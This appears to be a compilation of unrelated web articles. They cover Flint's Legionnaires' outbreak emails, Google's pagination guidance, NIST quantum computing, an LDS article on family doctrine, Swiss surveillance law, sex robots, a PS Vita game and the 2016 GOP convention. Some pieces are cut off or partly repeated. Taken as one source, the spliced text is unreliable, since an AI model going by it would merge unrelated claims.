insisted for months the water was safe to drink but reversed course after independent testing discovered unsafe lead levels throughout the system believed to be caused by leaching from lead piping. Flint is now under a state of emergency because of the lead issue Today, state officials say they have been unable to link the Legionnaires' outbreak definitively to the Flint River water supply. County health officials feared as far back as the fall of 2014 the outbreak was connected to the switch to using the Flint River for drinking water. The new e-mails show other state health officials investigated the outbreak at least a year before the governor's public announcement. On Jan. 27, 2015, Michigan Department of Health and Human Services epidemiologist Shannon Johnson e-mailed the county health department about the Legionnaires’ disease issue, saying “at this point, the priorities in the public health investigation are to determine the scope of the outbreak and to define as clearly as possible the characteristics of the cases of Legionnaire’s Disease ...” “A current map of the municipal water system needs to be obtained and cases’ residences mapped in relation to the water system,” Johnson said. Overall, county officials express concerns about a growing number of people in the Flint area contracting Legionnaires' disease. The state Department of Health and Human Services had begun assisting the county in the fall of 2014, and the Legionnaires’ investigation had become “very intensive” in early 2015, according to Dr. Eden Wells, Michigan’s chief medical executive. The first wave of 42 cases was commonly known within the state health department, Wells said, but the agency did not take the information to the governor until confirming a second wave of 45 cases and analyzing them together. But back on Jan. 27, 2015, a county health official expressed frustration in an internal e-mail that he couldn't obtain information from local and state officials to investigate suspicions the water supply was behind the Legionnaires' outbreak. “Initially the water plant was cooperative, but since the beginning of November they have not responded to multiple written and verbal requests. Howard Croft has not responded the email that I sent yesterday morning, either," James Henry, a county environmental health supervisor, wrote in the e-mail. “I have explained our responsibilities to investigate and that our intent to work together with the City to identify potential risks so they can be reduced or eliminated. I was hoping to avoid FOIA, but we are getting nowhere.” In another e-mail, written a day earlier, on Jan. 26, Henry wrote: “MDEQ, Mike Prysby and Steve Busch declined to meet with our office. They did not have any comparable information regarding other public water systems relative to Legionella or Heterotrophic bacteria. They encouraged us to conduct our investigation and mentioned that they could assist with obtaining information from the water plant. I explained that they are the regulatory agency and participation is expected.” On Feb. 5, Howard Croft, the city of Flint’s public works director, alerted Henry about “another person who is reporting a rash on their child.” A note from a doctor, Croft wrote, asserted that the woman’s son “breaks out when he is in the bath with the city water.” He asked Henry to work with the woman and supply any needed data that could “help determine the cause.” Henry responded less than two hours later. He didn’t provide the data but instead spelled out how he said the city had not responded to the county’s earlier request for information. Henry said the county health department attempted as far back as November 2014 to obtain information about the city’s water system. “Your office has not provided a return phone call or response to emails,” he told Croft in the e-mail. In January, Henry said that he also filed a Freedom of Information request with the city to try to obtain information about city water, but his request did not provide what he sought. “I am still hopeful that we can work collaboratively to protect the health of the community and resolve any issue with the Flint water supply.” Henry wrote. By November 2015, Henry had grown frustrated by the lack of cooperation he said he received from state environmental officials. The Michigan Department of Environmental Quality “reminds me of a stubborn 2yr old child,” Henry wrote on Nov. 6 to Genesee County Health Officer Mark Valacak. “Instead of doing what is right, they’ll willfully take another spanking just to be defiant.” On Dec. 4, Henry recapped events over several months in an e-mail to other county health officials and singled out a specific state health department official he said had sabotaged their Legionnaires’ disease investigation. “I think deaths could have been avoided, had he not!” Henry said. He said he thought state officials were motivated to impede the investigation because they “were concerned that Genesee County’s largest U.S. legionella outbreak, would implicate the Flint water system, for which they were responsible.” Henry wrote that “some of the people at the state agencies are simply criminals,” and “I do find it rather impressive how good they are at covering their tracks." Contact Matthew Dolan: 313-223-4743 or msdolan@freepress.com. Follow him on Twitter @matthewsdolan. Free Press photographer Ryan Garza contributed to this report. Read or Share this story: http://on.freep.com/1T9N9s8 -Searchers often prefer the view-all vs. paginated content with arbitrary page breaks and worse latency. If your site includes view-all pages We aim to detect the view-all version of your content and, if available, its associated component pages. There’s nothing more you need to do! However, if you’d like to make it more explicit to us, you can include rel=”canonical” from your component pages to your view-all to increase the likelihood that we detect your series of pages appropriately. rel=”canonical” can specify the superset of content (i.e. the view-all page, in this case page-all.html) from the same information in a series of URLs. Why does this work? If you’d like to surface individual, component pages (or there’s no view-all available) It may be the case that one or both of the situations below apply to your site: The view-all page is undesirable as a search result (e.g., load time too high or too difficult for users to navigate). Your users prefer the multi-page experience and to be directed to a component page in search results, rather than the view-all page. If so, you can use standard HTML rel=”next” and rel=”prev” elements to specify a relationship between the component pages in your series of content. If done correctly, Google will generally strive to: Consolidate indexing properties, such as links, between the component pages/URLs. Send users to the most relevant page/URL from the component pages. Typically, the most relevant page is the first page of your content, but our algorithms may point users to one of the component pages in the series. To better optimize your view-all page, you can use rel=”canonical” from component pages to the single-page version; otherwise, If a view-all page doesn’t provide a good user experience for your site, you can use the rel=”next” and rel=”prev” attributes as a strong hint for Google to identify the series of pages and still surface a component page in results. Webmaster level: Intermediate to AdvancedUser testing has taught us that searchers much prefer the view-all, single-page version of content over a component page containing only a portion of the same information with arbitrary page breaks (which cause the user to click “next” and load another URL).Therefore, to improve the user experience, when we detect that a content series (e.g. page-1.html, page-2.html, etc.) also contains a single-page version (e.g. page-all.html), we’re now making a larger effort to return the single-page version in search results. If your site has a view-all option, there’s nothing you need to do; we’ll work to do it on your behalf. Also, indexing properties, like links, will be consolidated from the component pages in the series to the view-all page.Interestingly, the cases when users didn’t prefer the view-all page were correlated with high latency (e.g., when the view-all page took a while to load, say, because it contained many images). This makes sense because we know users are less satisfied with slow results . So while a view-all page is commonly desired, as a webmaster it’s important to balance this preference with the page’s load time and overall user experience.In the diagram, page-2.html of a series may specify the canonical target as page-all.html because page-all.html is a superset of page-2.html's content. When a user searches for a query term and page-all.html is selected in search results, even if the query most related to page-2.html, we know the user will still see page-2.html’s relevant information within page-all.html.On the other hand, page-2.html shouldn’t designate page-1.html as the canonical because page-2.html’s content isn’t included on page-1.html. It’s possible that a user’s search query is relevant to content on page-2.html, but if page-2.html’s canonical is set to page-1.html, the user could then select page-1.html in search results and find herself in a position where she has to further navigate to a different page to arrive at the desired information. That’s a poor experience for the user, a suboptimal result from us, and it could also bring poorly targeted traffic to your site.However, if you strongly desire your view-all page not to appear in search results: 1) make sure the component pages in the series don’t include rel=”canonical” to the view-all page, and 2) mark the view-all page as “noindex” using any of the standard methods.It’s not uncommon for webmasters to incorrectly use rel=”canonical” from component pages to the first page of their series (e.g. page-2.html with rel=”canonical” to page-1.html). We recommend against this implementation because the component pages don’t actually contain duplicate content. Using rel=”next” and rel=”prev” is far more appropriate.Because users generally prefer the view-all option in search results, we’re making more of an effort to properly detect and serve this version to searchers. If you have a series of content, there’s nothing more you need to do. If you’d like to hint more to Google how best to serve users your information:As always, feel free to ask in our Webmaster Help Forum -Researchers at the National Institute of Standards and Technology (NIST) in Boulder, CO, have demonstrated multiple computing operations on quantum bits–a crucial step toward building a practical quantum computer. Shine on, ions: Beryllium ions are trapped inside the dark slit on the left side of this chip. When researchers focus lasers on the ions, the ions can be used to perform quantum calculations. Quantum computers have the potential to perform calculations far faster than the classical computers used today. This superior computing power comes from the fact that these computers use quantum bits, or qubits, which can represent both a 1 and a 0 at the same time, in contrast to classical bits that can represent only a 1 or a 0. Scientists take a number of different approaches to creating qubits. At NIST, the researchers use beryllium ions stored within so-called ion traps. Lasers are used to control the ions’ electronic states, depending on the frequency to which the laser light is tuned. The electronic states of the ions and their interactions determine the quantum operations that the machine performs. Over the past few decades, researchers have made steady progress toward a quantum computer, for instance, by storing quantum data or performing logic operations on qubits. But the NIST work, which is published online today by the journal Science, pieces together several crucial steps for the first time. The work involved putting an ion into a desired state, storing qubit data in it, performing logical operations on one or two of the qubits, transferring that information among different locations, and finally reading out the qubit result individually. Importantly, the researchers show that they can perform one operation after another in a single experiment. “This is the next step in trying to put a quantum computer together,” says Dave Wineland, lead researcher on the project. “It’s nice to have reached this stage.” The NIST team performed five quantum logic operations and 10 transport operations (meaning they moved the qubit from one part of the system to another) in series, while reliably maintaining the states of their ions–a tricky task because the ions can easily be knocked out of their prepared state. In other words, the researchers had to be careful that they didn’t lose quantum combinations of 1s and 0s while they manipulated their ions. One of the major problems in performing multiple operations is that the ions heat up after a single operation, in which laser beams, tuned to specific frequencies, adjust the energy level of electrons. Once this happens, explains Jonathan Home, a postdoctoral researcher at NIST, the researchers can’t do any further operations because the qubits can no longer hold both a 1 and a 0. To solve this problem, the researchers added magnesium ions to the mix. These ions are cooled with another set of lasers and, though the cold magnesium ions are not used for computation, they effectively chill the beryllium ions, keeping them in a stable state. A second challenge when repeating operations inside this type of quantum computer is making sure that the ions are protected from stray magnetic fields that can also cause them to lose their quantum state. To solve this problem, the researchers chose specific energy-levels within which the ions are temporarily impervious to changes in surrounding magnetic fields. This maintains the qubit’s state for up to 15 seconds, plenty of time, says Home, to perform a series of millisecond-long operations. “Our particular choice of levels doesn’t change with the magnetic field,” he says. “We don’t have to worry about the lifetime of the qubits anymore.” The experiment is a “milestone accomplishment,” says Isaac Chuang, a professor in the electrical engineering, computer science, and physics departments at MIT. “Very much like the early evolution of transistors into calculators, this work demonstrates a complete assembly of basic steps needed for a scalable quantum computer.” Chuang adds that the research “sets the bar” for other quantum computing systems. In demonstrations, the researchers manipulated two qubits at a time. For ion trap systems, the maximum number of qubits used in varying experiments so far is less than 10. In order to outperform a classical computer, the researchers would need to perform operations on 30 or more qubits, suspects Home, something he thinks could happen in the next five to 10 years. While quantum computers hold promise for breaking ultrasecure encryption codes, he says that early quantum computers will mostly likely be used to simulate physical systems, for example, the electronic properties of materials. But to get there, the researchers will need to improve their system. Currently, it performs with 94 percent accuracy. For a quantum computer to be reliable enough to use, it must be 99.99 percent accurate. A major factor affecting the accuracy of the system is the intensity fluctuations of the lasers that perform the operations on the ions. However, new, more-reliable, and more-powerful ultraviolet lasers could solve this problem, says Home. -“God’s Plan for Families,” Ensign, July 2015, 28–31 Gaining a knowledge of our Heavenly Father’s plan of happiness can help us understand the central role of marriage and family in that plan. Illustrations by stefanamer, nuiiun, and Muymuy/iStock/Thinkstock The scriptures and modern prophets teach us that one of the fundamental purposes for the Creation of this earth was to foster marriage and family life. “Marriage is ordained of God,” the Lord explained, so “that the earth might answer the end of its creation” (D&C 49:15–16). “Simply summarized,” added Elder Russell M. Nelson of the Quorum of the Twelve Apostles, “the earth was created that families might be.”1 Despite the plainness of these teachings, I have encountered many seminary and institute students who did not seem to fully understand how central a role marriage and family play in our Heavenly Father’s plan. As a result, these students sometimes adopt some of the thinking of the world on these important topics, which affects the way they plan for, seek, and support eternal marriage and family relationships. I believe that understanding the doctrines of God’s plan of salvation has the power to change our attitudes and behaviors to align more faithfully with the teachings of the Lord and his prophets.2 The following is a brief review of the plan of salvation as it relates to marriage and family. These principles can help us understand why “marriage between a man and a woman is ordained of God” and why “the family is central to the Creator’s plan for the eternal destiny of His children.”3 The Family in Premortal Life In our premortal life, each of us was born as “a beloved spirit son or daughter of heavenly parents.”4 As such, we were all brothers and sisters and lived as members of God’s family. Although all of us were part of this eternal family of God, the only ones who enjoyed the blessings of eternal marriage were our heavenly parents. Only they could have children and be called father and mother. As Apostles of the Lord have explained, “The title father is sacred and eternal. It is significant that of all the titles of respect and honor and admiration that are given to Deity, He has asked us to address Him as Father.”5 Our Heavenly Father prepared a plan whereby we could progress and become like Him. A central feature of this plan includes the opportunity to be married eternally and enjoy eternal posterity of our own. The Family through the Creation, Fall, and Atonement Three foundational events in God’s plan combine to make marriage and family relationships possible for time and eternity. These events are the Creation, the Fall, and the Atonement. The scriptural account of the Creation culminates not just with the creation of man but with the establishment of marriage. A brief summary of Adam and Eve’s eternal marriage in Eden is found in Genesis 1:28, including the charge to “multiply, and replenish the earth.” President Joseph Fielding Smith (1876–1972) explained: “Marriage as established in the beginning was an eternal covenant. The first man and the first woman were not married until death should part them, for at that time death had not come into the world. The ceremony on that occasion was performed by the Eternal Father himself whose work endures forever.”6 Thus, the crowning event of the Creation was not just when Adam and Eve were created in the image of their heavenly parents7 but when they were sealed in eternal marriage like their heavenly parents. From the beginning, marriage between a man and a woman was ordained of God and established as the ultimate purpose of our creation. Although Adam and Eve enjoyed eternal marriage like our heavenly parents, they could not yet enjoy the full blessings of family life. As the prophet Lehi explained, they were originally created in a state where “they would have had no children” (2 Nephi 2:23). One reason they chose to partake of the forbidden fruit and fall to mortality was so that they would have children. “Adam fell that men might be,” Lehi explained (2 Nephi 2:25). Marriage and family relationships, made possible by the Creation and the Fall, are made eternal through the Atonement of Jesus Christ. As Sister Julie B. Beck, former Relief Society general president, taught: “The Atonement allows for the family to be sealed together eternally. It allows for families to have eternal growth and perfection. The plan of happiness, also called the plan of salvation, was a plan created for families.”8 The Family in Time and Eternity For these marriage and family relationships to endure forever, they must be sealed through holy ordinances and covenants available only in the temple, with all the promised blessings being dependent on the participants’ faithfulness. The importance of these ordinances to our salvation was explained by the Lord: “In the celestial glory there are three heavens or degrees; “And in order to obtain the highest, a man must enter into this order of the priesthood [meaning the new and everlasting covenant of marriage]; “And if he does not, he cannot obtain it” (D&C 131:1–3). In other words, just as the ordinance and covenant of baptism are the gate to enter the celestial kingdom, so temple marriage is the gate to enter the highest degree of that kingdom. Those who marry in the temple and remain faithful to their covenants are promised that they shall become like God because they will enjoy the continuation of the family unit forever, just like our heavenly parents (see D&C 132:19–20). The Family and Alternative Lifestyles It is true that not everyone has the opportunity to marry in this life, nor is every couple blessed with children in mortality. Latter-day prophets have assured us that those who are faithful will eventually be given these blessings, either in this life or the next.9 Nevertheless, just because not everyone achieves the ideal does not mean we should stop holding it up as the standard to seek. Eternal marriage and family relationships should be a desire and priority for every Latter-day Saint, regardless of circumstances. As has always been the case, Satan proposes alternatives to our Heavenly Father’s plan, and nowhere is this more apparent than with the family. In contrast to our Heavenly Father’s plan of happiness through righteousness in marriage and family life, Satan proposes alternative lifestyles that are rooted in sinfulness and selfishness. He is cursed to never marry or have a family, and he entices us to live like him instead of like our Heavenly Father. He lies to us, telling us that marriage and family are an inconvenience and a bondage. He promises us that we will find greater joy and fulfillment in some other way or through some other arrangement. He tempts us not to marry and, if we do marry, to not have children. The deviations the adversary proposes include premarital sexual relations, pornography, abuse of spouse and children, elective abortion for personal or social convenience, marital infidelity, unjustified divorce, cohabitation, homosexual relations, and unwarranted sterilization.10 If he cannot convince us to do these things, he tempts us to support and encourage others to do them. But these alternative lifestyles will not bring the true happiness we seek in this life, nor will they bring the full blessings of salvation in the next. Out of loyalty to our Heavenly Father’s plan and out of love for mankind, we must discourage and oppose measures that are not designed to maintain and strengthen marriage between a man and a woman and “the family as the fundamental unit of society.”11 -Digital Sunrise Polizei und Staat wollen Sie im Internet umfassend überwachen. Jeder zweite Schweizer sagt «Nein, danke!» Telefon- und Netzüberwachung Polizei und Staat wollen Sie im Internet umfassend überwachen. Jeder zweite Schweizer sagt «Nein, danke!» Telekomfirmen sollen für die Strafermittler die Internet-Überwachung ausbauen. Auch Handy- und Internetabos können vielleicht bald nur noch im Laden und mit einem Ausweis abgeschlossen werden. Das kommt beim Volk schlecht an, wie eine aktuelle Umfrage zeigt. Seit 2002 wird jede Bewegung von Schweizer Handybesitzern ein halbes Jahr lang aufgezeichnet. Swisscom, Sunrise und Orange müssen im Auftrag des Bundes von jedem Kunden folgende Daten auf Vorrat speichern: Mit wem er wann und von wo aus kommuniziert hat Wer sich wann und für welche Dauer ins Internet eingeloggt hat Wer wann wem eine E-Mail oder SMS geschickt hat Wo sich der Handynutzer gerade befindet Diese Internet- und Mobilfunkdaten werden ohne Verdacht auf eine strafbare Handlung von allen Bürgern gespeichert. Der Bundesrat will die Vorratsdatenspeicherung mit der Revision des Überwachungsgesetzes BÜPF ausbauen: «Das Gesetz ist nötig, um Drogenhandel, Kinderpornographie, Terrorismus und organisierte Kriminalität zu bekämpfen», sagte SP-Bundesrätin Simonetta Sommaruga. Jüngeren und Frauen ist Überwachen eher «egal» Fast die Hälfte der Schweizer lehnt die Speicherung von Daten auf Vorrat grundsätzlich ab. Dies ergab eine repräsentative Umfrage des Internet-Vergleichsdienstes Comparis. Nur knapp jeder Dritte begrüsst es demnach, dass der Staat Telefon- und Internetdaten von Bürgern ohne Tatverdacht über mehrere Monate speichern lässt. Knapp jeder Dritte befürwortet das prophylaktische Datensammeln als «gut». Keine eindeutige Position hat jeder fünfte Befragte. Über 50-Jährige stehen der Vorratsdatenspeicherung häufiger misstrauisch gegenüber als jüngere Personen. Frauen drücken eine stärkere Egal-Haltung aus als Männer, die wiederum verstärkt «nicht damit einverstanden» sind. Die Umfrage zeigt ferner: Je geringer der Bildungsabschluss, desto höher ist der Anteil der Gleichgültigen. Alle weiteren Informationen zum Überwachungsgesetz BÜPF finden Sie hier: Wer wird überwacht? Die Vorratsdatenspeicherung betrifft alle Bürger und Firmen, die Kommunikation über das Internet oder die Post nutzen, also die gesamte Bevölkerung. Die Überwachung soll mit der Revision des Überwachungsgesetzes BÜPF ausgeweitet werden. Wie oft müssen die Mobilfunk-Provider den Behörden Auskunft geben? Im Jahr 2013 wurden von den Strafverfolgungsbehörden insgesamt 16'000 Auskunftsbegehren an die Provider gestellt, Tendenz steigend. (Siehe nachfolgende Grafik) Um die 7000 Anfragen betreffen die auf Vorrat gespeicherten Nutzerdaten, das macht fast 20 pro Tag. Weitere 9000 Auskünfte teilen sich auf Direktüberwachungen der Handy- und Internetnutzung (~4000) sowie auf Auskünfte zur Seriennummer des Mobiltelefons, bzw. der SIM-Karte (~5000) auf. (Quelle: Dienst ÜPF / Digitale Gesellschaft) grafik: watson.ch So soll die Überwachung ausgebaut werden Die Revision des Überwachungsgesetzes (BÜPF) fordert im Kern drei Ausweitungen der bestehenden Möglichkeiten. Erstens: Die Vorratsdatenspeicherung (wer mit wem wann und von wo aus kommuniziert hat) soll von sechs auf zwölf Monate verlängert werden. grafik: watson Zweitens: Nebst Swisscom und Co. sollen auch Schweizer E-Mail-Provider, Cloud-Anbieter, Kurznachrichten-Apps wie Threema und Anbieter von öffentlichen WLANs wie Restaurants die Nutzerdaten speichern. grafik: watson Drittens: In der gezielten Direktüberwachung von einzelnen Personen, gegen die ein Verdacht vorliegen muss, soll neu der Einsatz von Spionageprogrammen (Trojaner) auf PCs und Smartphones erlaubt werden. So kann auch die verschlüsselte Kommunikation per E-Mail, Skype, Threema etc. via PC, Tablet und Smartphone überwacht werden. Für den Einsatz des Staatstrojaners wird ein richterlicher Beschluss vorausgesetzt. So funktioniert der Staatstrojaner video: srf/10vor10 Mit der BÜPF-Revision soll auch der polizeiliche Einsatz von Handystörsendern (IMSI-Catcher) erlaubt werden. Diese Geräte geben sich als Mobilfunkantenne aus und schieben sich im Handynetz zwischen die Mobiltelefone und das eigentliche Mobilfunknetz. Smartphone-Nutzer, die sich in der Nähe eines IMSI-Catchers der Polizei befinden, könnten so identifiziert und überwacht werden. Bild: watson Die KAPO Zürich sagte im April auf Anfrage: «Die Kantonspolizei Zürich besitzt zwei IMSI-Catcher, mit denen ausschliesslich Mobiltelefone geortet werden können. Weitere Beschaffungen sind nicht geplant. Wo und bei wem die Geräte beschafft wurden, geben wir nicht bekannt. Eingesetzt werden die Geräte ausschliesslich mit richterlicher Genehmigung im Rahmen der Gesetze. Primär wird diese Technik zur schnellen Ortung von Mobiltelefonen vermisster Personen, also Such- und Rettungsaufgaben, verwendet. Weitere Anwendungsmöglichkeiten finden sich bei kriminalpolizeilichen Aufgabenstellungen. Aus taktischen Überlegungen können wir keine näheren Angaben über den Einsatz der IMSI-Catcher machen. Für Personenkontrollen und bei Demonstrationen werden die Geräte nicht eingesetzt. Personenbezogene Daten werden mit dieser Technik nicht erhoben.» Was Orange, Sunrise und Swisscom an der Überwachung stört Die Gegner der BÜPF-Revision setzen sich aus einer losen Allianz von Grünen und Piraten, Liberalen und Konservativen sowie Unternehmern und Konsumentenschützern zusammen. Die Überwachungsgegner erhalten seit Kurzem Sukkurs von den grossen Telekomanbietern. Diese stören sich an der momentan fehlenden Rechtssicherheit sowie am Mehraufwand und den Zusatzkosten, die für sie durch den Ausbau der Überwachung entstehen. Das sagt Orange zur Ausweitung der Internet-Überwachung «Der BÜPF-Entwurf weist schwerwiegende Mängel auf. Insbesondere ist das Prinzip der Verhältnismässigkeit nicht gewahrt, da die Fernmeldedienst-Anbieter für beliebige, neue Überwachungsformen hohe und kaum planbare Investitionen in Systeme tätigen müssen.» «Würde die Aufbewahrungsfrist der Nutzerdaten gesetzlich von 6 auf 12 Monate verlängert, so müsste mit erheblichen Kostenfolgen und einer wesentlich grösseren Anzahl von Anfragen gerechnet werden.» «Neu sollen wir auch speichern müssen, wer wann welche Website besucht hat, was im Vergleich zur Aufbewahrung von Telefonieverbindungsdaten viel aufwändiger ist. Für die Rechnungsstellung an die Kunden ist dies überhaupt nicht nötig und wird daher schon aus Daten-/Persönlichkeitsschutzgründen momentan nicht gemacht.» «Die Begehrlichkeiten der Behörden sind gross und wir könnten mit dem in vielen Punkten bewusst offen formulierten Gesetzesentwurf zur Speicherung weiterer Daten verpflichtet werden.» Swisscom zur Ausweitung der Internet-Überwachung Bei Swisscom nervt man sich über das Prinzip, dass eine Telekomfirma die Strafverfolgung mitfinanzieren soll. «Es kann nicht sein, dass letztlich die Kunden die Strafverfahren subventionieren müssen», sagte Andreas Locher gegenüber SRF. Er leitet bei der Swisscom das Überwachungs-Team, das «nichts anderes tut als Abhöraktionen am Telefon ermöglichen, melden, wer wann wem eine SMS schickt oder Namen von Handynutzern ausliefern, und das Tag und Nacht», wie das SRF schreibt. Hinzu komme möglicherweise eine Ausweispflicht, sagen Orange und Swisscom unisono: Handy- oder Internetabos könnten allenfalls nicht mehr online gekauft werden, sondern nur mit einem Ausweis im Laden. Die Telekom-Verkaufsläden müssten Kopien der Ausweise aufbewahren, befürchtet Locher. Für ihn wäre dies «eine Art ausgelagerte Polizeidatenbank», schreibt SRF. Sunrise zur Ausweitung der Internet-Überwachung «Eine Revision des BÜPF für eine klarere Definition der Überwachungsformen findet Sunrise grundsätzlich sinnvoll. Mit Sorge stellen wir jedoch fest, dass die Ausweitung der Überwachung weitgehende und negative Auswirkungen auf den Betrieb der Unternehmen haben wird.» «Die Anliegen und Bedürfnisse der Strafverfolgung sollen die Revision des BÜPF nicht einseitig dominieren. Insbesondere die Aufbewahrungspflicht für auf Vorrat gespeicherte Daten soll nicht auf zwölf Monate ausgedehnt werden, sondern bei sechs bleiben. Dies aus Gründen der Verhältnismässigkeit und dem damit verbundenen deutlichen Mehraufwand für die betroffenen Unternehmen». Das Zwischenfazit Orange, Swisscom und Sunrise schlagen sich, so sieht es zumindest aus, auf die Seite der Überwachungskritiker. Ob aus Kosten- und Imagegründen oder aus der Überzeugung, dass die geplanten Massnahmen zu weit gehen, kann den BÜPF-Kritikern letztlich egal sein. Den Mobilfunkprovidern kommt eine entscheidende Rolle im Hinblick auf ein wahrscheinliches Referendum zu. Sie verfügen über die Mittel, die den Überwachungsgegnern für eine sichtbare Anti-BÜPF-Kampagne bislang fehlten. Abonniere unseren Newsletter -Will this be the future of luxury bachelor and bachelorette parties? Maybe it's something you could get your grandkids. By 2050, bordellos will offer for-hire sex robots for disease- and guilt-free pleasure, according to a new scientific paper. The research, published in the May issue of the journal Futures, sits incongruously among more staid titles about new spatial planning methods and urban sprawl. The paper is meant to be a "futuristic scenario" that "pushes plausibility to the limit," write its authors, Michelle Mars and tourism professor Ian Yeoman, both of the Victoria University of Wellington in New Zealand. Nevertheless, they said, "It is feasible. Society has had relationships with machines and we continue to have increasingly intimate relationships with more and more sophisticated technologies." And for the sex tourism industry, it's something to look forward to, they said. Commercial sex robots would be free of disease and would reduce the trafficking of real people for sex work, they write. To explore their ideas, Yeoman and Mars envisioned Amsterdam's sex tourism industry in 2050. They imagined "Yub-Yum," a sex club for business travelers, which would sell "all-inclusive service" — including massages, lap dances and intercourse — for 10,000 Euros, or about $13,000. Rises in human trafficking and in drug-resistant strains of HIV, which Yeoman and Mars predict will occur in the 2040s, motivated Amsterdam officials to license robotic bordellos. In spite of serious problems with human brothels, city tourism council members didn't want to shut down brothels altogether because they worried such a crackdown might drive away tourists. Robots were the answer. The bots would be made with bacteria-resistant fiber and cleaned after each use so they wouldn't transmit diseases between customers. Customers "feel guilt-free" because they don't have sex with people, so they don't have to lie to spouses about what they're doing, according to the researchers. Other drivers the researchers said that will make the sexy bot future possible are the growth of the sex industry and people's desire for humanly unattainable perfection — the researchers pointed to the popularity of plastic surgery as evidence. Here in 2012, companies in Japan and South Korea are already hiring out sex dolls, the researchers said. "The early successes of the sex doll businesses are a clear indicator of things to come," they write. The authors acknowledged social questions they didn't answer, such as whether couples would consider visiting a sex robot infidelity and whether people really would want to have sex with a robot. The only drawback they covered in any detail is that robotic prostitutes might put human ones out of business. Robots can perform superhuman feats and don't need rest. Mars and Yeoman's Yub-Yum scenario included protests by Amsterdam's human sex workers. There was an additional question we thought of at InnovationNewsDaily, however. While the authors optimistically write about "sexual gods and goddesses of different ethnicities, body shapes, ages, languages and sexual features," we imagined people might be able to bring to life stereotyped, socially harmful fetishes. They might want to order bots that look like children or personify racial stereotypes, such as savage indigenous people or submissive Asian women. While it might be relatively easy to create laws against creating robots that look underage, it would be more difficult to rule against stereotypes. So while their extreme trend-spotting exercise is fun, the researchers' conclusion might be a little glib. "If such a proposition came true," they write, "Amsterdam would probably be the safest and best sex tourism destination in world and all the social problems associated with sex tourism would disappear overnight." Follow InnovationNewsDaily on Twitter @News_Innovation, or on Facebook. Related on InnovationNewsDaily: This story is copyright 2012 InnovationNewsDaily, a TechMediaNetwork company. All rights reserved. By 2050, sex-for-hire robots may be the norm Will this be the future of luxury bachelor and bachelorette parties? Maybe it's something you could get your grandkids. By 2050, bordellos will offer for-hire s -Kan Colle Kai first details, new trailer The PS Vita Kantai Collection is actually happening. Kantai Collection Kai is the final name for the the PS Vita adaption of popular browser game Kantai Collection, Kadokawa Games announced during the Kadokawa Games x From Software Fall 2014 Media Briefing. Kadokawa Games’ Kensuke Tanaka will act as the game’s producer and director. It will use the browser game as its base, with a new user interface built for PS Vita including new systems like a “Waters Map.” Most of the Kanmusu (ship daughters) from the browser version will be included with the PS Vita version from the get-go, and gameplay will take a shift towards more overt strategy. As previously announced, the game will launch in spring 2015. Watch a new trailer below. Thanks, Inside Games and Famitsu. -Undercutting calls for Republican unity, Texas Sen. Ted Cruz stubbornly withheld his endorsement from Donald Trump as he addressed the GOP convention Wednesday night, instead encouraging Americans to "vote your conscience" in November. Delegates on the floor implored Cruz to back the nominee, chanting Trump's name, then erupting in a chorus of boos when he ignored their pleas. "Vote for candidates up and down the ticket who you trust to defend our freedom and to be faithful to the Constitution," Cruz said. While he backed some of Trump's policy proposals, including building a wall along the U.S.-Mexico border, he mentioned the GOP nominee by name only once. Story continues below advertisement Cruz's decision to accept a speaking role at the convention but not explicitly endorse Trump was remarkable, and underscored the deep divisions still coursing through the GOP. While Trump has energized many Republican voters, others remain deeply skeptical of his unorthodox candidacy and divisive policy proposals. The Republican convention: What you missed on Wednesday Boos filled the convention hall in Cleveland as Cruz finished his prime-time speech. Cruz finished second to Trump in the delegate count and the two were bitter rivals during the primary campaign. Cruz's wife was escorted off the floor as delegates booed. Republican Ken Cuccinelli, the former attorney general of Virginia and a supporter of Cruz, told Reuters he escorted Heidi Cruz off the convention floor for her own safety. The gulf between Trump running mate Indiana Gov. Mike Pence's hearty embrace of Trump and Cruz's refusal to do so is emblematic of the turmoil still roiling the GOP. The low-key Pence, who describes himself as a Christian, a conservative and a Republican "in that order" later today the crowd he never thought he'd be standing on the stage at his party's national convention. Story continues below advertisement Story continues below advertisement He joked that Trump is so charismatic that he must have been looking for balance in choosing him. Then he turned serious by framing the November presidential race as crucial to defining the makeup of the Supreme Court for the next 40 years. The GOP vice-presidential nominee said voters must ensure that it's Trump picking the next high court justices to protect the Second Amendment, which covers the right to bear arms, "the sanctity of life" and other liberties. Trump did get a boost from Wisconsin Gov. Scott Walker, one of the 16 Republicans whose White House dreams were vanquished during the primary. Still, Walker suggested he was driven as much by a desire to keep Democrat Hillary Clinton out of the White House as admiration for his party's nominee. "Let me be clear: a vote for anyone other than Donald Trump in November is a vote for Hillary Clinton," Walker said. Later, Republican stalwart Newt Gingrich said people should be terrified at the prospect of Clinton as president. Story continues below advertisement The former House speaker says Clinton won't tell the American people the truth about the danger posed by Islamic extremists and that the price Americans would pay for electing Clinton would be what he calls the "loss of America as we know it." Gingrich, a Donald Trump ally, argued that Islamic extremists are stronger than the Obama administration admits. Trump's campaign hoped that by the convention's end, voters would look past the gathering's rough start, including the plagiarism charge involving Melania Trump's opening address. After 36 hours of denials, the campaign moved to put the matter to rest Wednesday, releasing a statement from a speechwriter who took blame for including lines from a Michelle Obama speech in the remarks. Trump, who will address the convention Thursday night, cheered on the night's proceedings via Twitter. After Walker's remarks, Trump wrote, "Great speech!" A day after Trump formally became the presidential nominee, some delegates at state gatherings around Cleveland where the four-day GOP convention is being held were still struggling to come to terms with their unorthodox new standard-bearer. Iowa delegate Cecil Stinemetz called Trump "the worst nominee that we have put forward for the Republican Party in the history of the Republican Party" and said he didn't plan to return to the convention floor the rest of the week. Story continues below advertisement Republican worries about Trump's preparedness for a general election battle with Democrat Hillary Clinton have only been reinforced during the convention. The campaign struggled to respond to plagiarism charges involving Melania Trump's Monday night address, finally releasing a statement Wednesday from a speechwriter who took blame for including lines from a Michelle Obama speech in the remarks. Campaign officials see Pence's address Wednesday as an important opportunity to reassure the doubters. In a show of unity, he'll be introduced by House Speaker Paul Ryan, a lukewarm Trump supporter, and lay out his reasons for partnering with the celebrity businessman who is in many ways his opposite. While Pence is expected to make the case that Democrat Hillary Clinton is unfit for the White House, officials said his speech will not be a full-throated takedown in the style of earlier speakers. Cruz was harshly critical of Trump in the waning weeks of their primary battle, calling the businessman a "pathological liar" and "utterly amoral." He arrived in Cleveland with an eye on his own political future, holding a rally with hundreds of supporters who greeted him with chants of "2020" — suggesting Cruz's backers have no interest in seeing Trump become a two-term president. Cruz was expected to continue sidestepping a formal endorsement of Trump during his convention remarks. Top Trump aide Paul Manafort said the senator would at least "suggest" he is backing the nominee, while other Republicans said Cruz would argue the importance of 